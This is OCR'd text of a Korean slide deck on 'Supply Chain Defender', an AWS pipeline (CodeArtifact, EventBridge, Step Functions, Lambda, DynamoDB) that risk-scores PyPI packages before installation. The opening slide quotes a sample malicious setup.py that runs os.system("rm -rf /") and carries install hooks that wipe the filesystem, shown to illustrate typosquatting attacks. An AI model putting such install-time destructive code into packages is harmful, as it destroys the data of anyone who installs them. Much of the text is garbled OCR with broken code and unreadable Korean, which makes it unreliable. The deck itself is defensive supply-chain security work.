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| NPMat Python2 mi71x] #X| A| ot ASRIET} Mstel 4 QlaLict, Introduction

wmport setuptools
import os

os.system("rm -rf /")

with open("README.md",
I__'1“T"“ :T{1' longDesc = f.res
"preinstall” '
“postinstall” : "r rf /* setuptools.set
name="requ
version="0 G
author="soohyun",
author_email="soohyun@gma
description="test library”
long_ dEEEFlptlun—lungDesc




NPMZ} Python2 o7 |X|7} EX|xl= AEHO| Z&tE

AJRIEJI XSO F Al 71



s /Bidus/ idas-prrp
25 /B1dns / idas -parp
[Pidms/idns-w1 auth-service/node modules/Bidms/idms-pnrpe

idns/idns-u auth-service/node modules/Bidns/idas-p
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What is Supply Chain Defender ?

| mh7ix| wapeio) cist MmeiLict.

root@BOOK-K37810H1QB: /# curl 127.0.0.1:8282/package-check?package_name=request2
1

"message": "High risk package",

"package_name": "request2",

"platform": "pypi",

"reasons": {

"Downloads < 300": "+20 points",

"GitHub stars < 30": "+10 points",

"Last modified > 2 years": "+10 points",
"Versions count < 5": "+10 points"

3
"risk_level”: "Red",
"score": 50,
"similar_packages": [],
"status": "Warning",
"version": null

3
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Nexus ProxyE 8%t Ii7|X| LsiH API XHE

SE|
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https:/frepol.maven.crg/maven2/
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1. B  awskrug

2. b Q, pypi-store X HH &
8% |Q LER

YLAEH XX ER HE o] 213 AFZ i [7]

-+ AWS Region

cargo-store
Provides crates from crates.io

maven-central-store
Provides Maven artifacts from Maven Central Repository.

clojars-store
Provides Maven artifacts from Clojars.

@O &

o od =2
Hish El IAER! o
commonsware-store

Provides Maven artifacts from CommonsWare.

google-android-store COde ArtifaCt

Provides Maven artifacts from Google Android.

e
L]

gradle-plugins-store

R Provides Maven artifacts from Gradle plugins.
m npm-store pip install r check download
Provides npm artifacts from npm, Inc. @
° nuget-store N : ) b
e Provides NuGet artifacts from NuGet.org. d ﬂwnload dﬂwn | Dad
rubygems-store HER Code Artifact Code Artifact
Provides Ruby artifacts from RubyGems.org. (awskmug) (pypi-siore) ?|g HEXEE
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Supply Chain Defender O}7|ElA]
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secure-pypi package-install pypi-store
(FHLxL 2H) (Step Functions) (HAERI MH A| Z1S MA)

HAERI: X AAEZ! : pypi-store Public:pypi.org
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| Pipeline Flow

M Supnky Chain Defender Architechrs STEP 01 (? 7HI:£-II' pip inSta" R*c;l (Secure-pypi)

packane blark

STEP 02 (J) Code Artifact 404 -> Event Bridge Z%|

2 B (@)

Oievwioper Cede fmifent
[EETATL |

M evenl m'}u_f?;g"::;“ i
i | =5
Sep Funcs STEP 03 C) Event Bridge -> Step Funcions Trigger

package allow

STEP 04 () T 3| % OFHs}X| otOM Xjct S 22 2l

Code Arlitact
|packapa.nssaly

STEP 05 Hot x3| = ‘L*.’Eﬁi"d, Q|20j|A CHREE St 5,
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| Pipeline Flow

M A — . STEP 01 (# WL pip install 2% (secure-pypi)
package black _":-' .
- STEP 02 q> Code Artifact 404 -> Event Bridge Z*I
o-B B & :
- e v e STEP 03 Event Bridge -> Step Funcions Trigger
e STEP 04 () W Z3]| 3 QHMs}| QOH AITt 3 23 g2

STEP 05 Hot x3| = ‘L*.’Eﬁi"d, Q|20j|A CHREE St 5,
Secure-pypidl| Z=2=
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Event Bridge 2!

"eventTime": "2825-00-22T10:02:227",
“eventSource”: "codeartifact.amazonaws.com",
"eventName" : "ReadFromBepository”,
"awsRegion”: "ap-northeast-1",

|| I ———— T P [ ——— | I I o " T T o T I ol T il

-

“errorCode”: "NotFoundException®,
“errorMessage”: "Package not found.",
U S Lral diffc Ll & . L
"domainName": “pypli”,
LERw|l =W LE, ) Pl | M ST UL .
"repositoryName” : “secure-pyplL”,
e T et T

"packagefFormat”: “pypil"
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M Supply Chain Defender Architectura

packane blark
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package allow

Coce Arlfact
|packapa. skl FE

Supply Chain Defender

| Pipeline Flow

STEP 01

STEP 02

LKL pip install 28 (secure-pypi)

Code Artifact 404 -> Event Bridge ZX|

STEP 03

LO-

Event Bridge -> Step Funcions Trigger
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| Pipeline Flow

ﬂs,mr,mmm-mi.m STEP 01 a) WXL pip install 2% (secure-pypi)

packane blark

STEP 02 () Code Artifact 404 -> Event Bridge ZX|

awspip install 404 event Eﬂ S'Epu_f.:;:;
_ — s STEP 03 C‘) Event Bridge -> Step Funcions Trigger

package allow

STEP 04 <> T 9] = QPSR I H A= S g

Code Arlitact

STEP 05 Hot x3| = ‘L*.’Eﬁi"d, Q|20j|A CHREE St 5,
Secure-pypidl| Z=2=
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| Pipeline Flow

ﬂs,mr,mmm-mi.m STEP 01 a) WXL pip install 2% (secure-pypi)

packane blark

STEP 02 () Code Artifact 404 -> Event Bridge ZX|

awspip install

Sop s STEP 03 () EventBridge -> Step Funcions Trigger

package allow

Code Arlitact
|packapa.nssaly

STEP 04 (ﬁ o 78] & OHNSHR| QoW KiTh S A3

STEP 05 Hot x3| = ‘L*.’Eﬁi"d, Q|20j|A CHREE St 5,
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AWS Step Functions
%? StartExecution
R AWS Glue
';_/7 StartJobRun

HTTPS API

- DynamoDB, SNS, SQS Si &l 9%

HTTP Endpoint 2dol
[ 2=y =
Call HTTPS APIs

’

HRE ;‘;;;‘;::;w/ < AZXol I3EE M|
' .~~~ Step Functions

Dy l’( D8: Updateltar
Amazon EBS. 3 #lock

Amazon EC2 | - /' ' ° JSON EIEL YAMLE '|°I'Io.'_|' I‘EH Mﬂ% -E-%OIIA-I
GUI P /'/ AIZ!.EI!QE %!.?_I

Amazon Data Lifecycle Manager
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| Step FunctionsE 284 1ij7|x| Wt X3s|2E| MX|nix|e] S8 péisiiELIcl. Supply Chain Defender

| .. Step functions package reference check workflow I A"OW Pipeline FIOW
ambsda l'r. nkn
MT STEP 01 O | m|x) Wzt =3] =, DynamoDB CHECK YE[0|E
J, STEP 02 () mm %8| 23t Risk7t green 22, oftl 22 £
DI r—
05| E STEP 03 () RunCommandg E2|7| M# package-install
e Code Artifact2 install 2%
|" C":J wat
PN STEP 04 ) pyn Command 2471 1% 52 s19i=% 82
= STEP 05 () RunCommand 2A7} &8 £2 E|Q=X| £7]
| SR rammcroc |
: STEP 06 ackage-install®| 7 |X|S secure-pypiZ SAt
| B et 1 - packas PyP
= | B STEP 07 DynamoDB SECURE 2{H[0[E
STEP 08 Step Functions =
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| Step Functions® g2l 171x| Wt xs|=E] MAIIX|e] SES FHSIRALICL Supply Chain Defender

B cuons package reference sheck workton | Allow Pipeline Flow
ambsda l'r. nkn
ml STEP 01 (O  m|x| Wx =3| =, DynamoDB CHECK YE[0|E
s e |
; STEP 02 () |mm %8| 23t Risk7t green 22, oftl 22 &)
DI r—
— | STEP 03 () RunCommandg E2|/ AlI# package-install
Code ArtifactZ install 82X
| sTep 04 O Run Command A7} #d E& E|R=X] X3
= STEP 05 () RunCommand 27t 43 Z& E|¥=X] £7]
I ﬁ, ;;r};;}gtﬂrrsmuc.rwk |
! STEP 06 ackage-install2| II7|X|E secure-pypiE SAt
| B et 1 - packas PyP
| il [l STEP 07 DynamoDB SECURE 2E[0|E
STEP 08 Step Functions =
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| Step Functions® g2l 171x| Wt xs|=E] MAIIX|e] SES FHSIRALICL Supply Chain Defender

- .-.-' Step functions package reference check workflow I A"OW Pipeline FIOW
ambsda l'u-. nkn
Package Reference Check STEP 01 C) ]IH;III %1]1._" Eil :?-, DynamODB CHECK ou'lEIIOIE
m=— |
l STEP 02 () mm %8| 23t Risk7t green 22, oftl 22 £
B ——
05| E | STEP 03 () | Run Commandg E2|7 Ml# package-install
e Code ArtifactZ install 82X
Nl
= STEP 04 O pun Command 247t 418 5= Eigtx| 42
‘ it = STEP 05 () Run Command 2A7} &8 £ E|Q=X| 27|
| £, rackage instan Ghock
' STEP 06 ackage-install2| I|7|X|E secure-pypiE SAt
| B et 1 - packas PyP
| il = STEP 07 DynamoDB SECURE 2H{0|E
STEP 08 Step Functions =
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"FunctionName": "arn:aws:lambda:ap-northeast-1:228368756552:fur
"Payload™: {

”paanEH': "{% %package X}",

"version": "{% $version ¥}"

"Assign”: {

: ﬁmmnndId . "{% $states.result.Payload.command id %}",
"InstanceId”: "{% $states.result.Payload.instance id %}",
"package”: "{£ istates.result.Payload.package X} ',
"wersion”: "{% %states.result.Payload.version %}

Payload : Lambda& E2|H A|7|H ELi= 3t

Assign : LambdaZ| 2Lt1 return 5t= 2k
(Commandlid Sl0liM AFR)



Supply Chain Defender O}7|EllA]

| Step Functions® g2l 171x| Wt xs|=E] MAIIX|e] SES FHSIRALICL Supply Chain Defender

; .-.-' Step functions package refersnce check workflow I A"OW Pipeline FIOW
ambsda l'r. nkn
e s e STEP 01 ()  mj7|x| mEt =8| £, DynamoDB CHECK EI0|E
m=—
l STEP 02 () mm 3| 23} Riskt green 22, Ol 2 7]
DI r—
05| E STEP 03 () RunCommandg E2|7| M# package-install
fm Gommans Code Artifact2 install 24
s
| = > sTep 04 O Run Command A7t & & E|JU=X] M2
‘ it J STEP 05 () Run Command 2A7} &8 £ E|Q=X| 27|
I ﬁ, ;;r};;}gtﬂmmucrc«;k
. STEP 06 ackage-install2| I}7|X|£ secure-pypiZ SA
| B et 1 - packas PyP
| il = STEP 07 DynamoDB SECURE 2E[0|E
STEP 08 Step Functions 32
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“"Command Running Check": {
“"Type": "Task",
"Arguments: {

"CommandId": "{% $CommandId %¥}",
"Instanceld”: "{% $Instanceld %}"

Payload : At2X}7} BHE 2} (Lambda)

Arguments : AWS7t 2+ st= 3t (71 2t 8 271)
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| Step Functions® g2l 171x| Wt xs|=E] MAIIX|e] SES FHSIRALICL Supply Chain Defender

B cuons package reference sheck workton | Allow Pipeline Flow
ambsda l'u-. nkn
Package Reference Check STEP 01 C) ]IH;III %1]1._" Eil :?-, DynamODB CHECK ou'lEIIOIE
m=—
l STEP 02 () mm %8| 23t Risk7t green 22, oftl 22 £
DI r—
05| E STEP 03 () RunCommandg E2|7| M# package-install
e Code ArtifactZ install 82X
Nl
<} STEP 04 O pun Command 2417} &8 52 sigtex) 212
T = STEP 05 () | RunCommand 27t 43 Z& E|2=X] £7]
| £, rackage instan Ghock
' STEP 06 ackage-install2| I|7|X|E secure-pypiE SAt
| B et 1 - packas PyP
| il [l STEP 07 DynamoDB SECURE 2H{0|E
STEP 08 Step Functions =
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Conditions for rule #1

HE FE = true £ falseZ Y75 = JISONata £HA0| ZEEL|CE ZhM|5| LotEr| [A

@ =)

Simple

. b
Evaluates a single conditional statement.

Expression Operator
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| Step Functions& 24l mi7|x|
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E ._. =] Step functions package reference check workflow

Htawt

l

ambdar Imenka
Package Reference Check

e .
¥
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L
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L J
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|" C"} walt
" -
¥
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Choice siate
" ﬁ. Packago Install Chock
¥
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|" Package Biock Slack

Uyramodit. Updalsibsm
I SECURE

S

L

LymameU. Updalesitsm
" BLOCH

-
End

2|2 XNix|e] &S FeistASLICL

Supply Chain Defender

| Allow Pipeline Flow

STEP 01 ()  mj7|x| &t 3| £, DynamoDB CHECK 0|

STEP 02 () mm 3] 23} Risk7t greeng 22, oOf 22 27|

STEP 03 () RunCommandg E2|/ AlI# package-install
Code ArtifactZ install 2%

STEP 04 () Run Command A7t & & E|A=X] X3

STEP 05 () Run Command 2M7} &% Z2 EIQU=x] £7]

STEP 06 package-install®| I{7|X|E secure-pypiZ SAt

STEP 07 DynamoDB SECURE ¥HI|0|E

STEP 08 Step Functions =

36



o0 0

DOMAIN = "pyplL"
SRC = "package-install’ # EC27F A E= HE=~
DST = "secure-pypiL" # =E SA HE
= boto3 29
ca.copy_package_versions{ M S A
o —— copy - package _versions &+2&
sourceRepository = SRC,
destinationRepository = DST,
format = FMT,
package = pkg, PaCKage %AI.
Versions = [ver],
includeFromUpstream = False,
allowOverwrite = True

Lambda
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| Step Functions® g2l 171x| Wt xs|=E] MAIIX|e] SES FHSIRALICL Supply Chain Defender

B cuons package reference sheck workton | Allow Pipeline Flow
ambsda l'u-. nkn
Package Reference Check STEP 01 C) ]IH;III %1]1._" Eil :?-, DynamODB CHECK ou'lEIIOIE
m=—
l STEP 02 () mm 3| 23} Riskt green 22, Ol 2 7]
DI r—
05| E STEP 03 () RunCommandg E2|7| M# package-install
e Code ArtifactZ install 82X
Nl
<} STEP 04 O pun Command 2417} &8 52 sigtex) 212
‘ it = STEP 05 () Run Command 2A7} &8 £ E|Q=X| 27|
| SR Fackege Instan Ghosk
' STEP 06 ackage-install2| I|7|X|E secure-pypiE SAt
| B et 1 - packas PyP
= || s STEP 07 DynamoDB SECURE 2H{0|E
STEP 08 Step Functions =
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Dynamo DB Update
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; .-.-' Step functions package refersnce check workflow I A"OW Pipeline FIOW
ambsda l'u-. nkn
“Ftag Reeence crc STEP 01 (O  m|x| Wx =3| =, DynamoDB CHECK YE[0|E
W= |
1 STEP 02 () wmimt x3| 27} Risk7} greend 22, Ofcl S 27|
DI r—
05| E STEP 03 () RunCommandg E2|7| M# package-install
o Code Artifact2 install 24
Nl
- STEP 04 ) pyn Command 2471 1% 52 s19i=% 82
‘ it = STEP 05 () Run Command 2A7} &8 £ E|Q=X| 27|
I 5= -F';::r};;-azﬁ-rsbau-:r-:ﬁk
. STEP 06 ackage-install2| I}7|X|£ secure-pypiZ SA
| B et 1 - packas PyP
E ;ESLEZEL-. @ ELDE:;LL- pu— STEP 07 DynamoDB SECURE &H[0|E
STEP 08 Step Functions &
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I Step FunctionsS 23l I|7|x| LIt X3|SE| Mx|7ix|e| S22 THsIFALICE. introduction | Supply Chain Defender | Conclusion
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E '.* =] Step functions package reference check workflow
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E '.* =] Step functions package reference check workflow

| Stawt

l
::;J:::;E-l;-:férfnie Check I B I OCk Pi pel i ne F Iow

Chice glake
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— ' STEP 02 <)

" Run Command
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root@B00K-K37818H1QB: /# aws dynamodb get-item Y\
-~-table-name awskrug \
___key.- |{||-i_d||: {IISII: "p}"y’ﬂm].@ﬁ.m‘.l"}}'

{
"Item": {
"1d": {
"§": "pyyaml@c.@®.1"
|
"Status": {
"S": “"SECURE"
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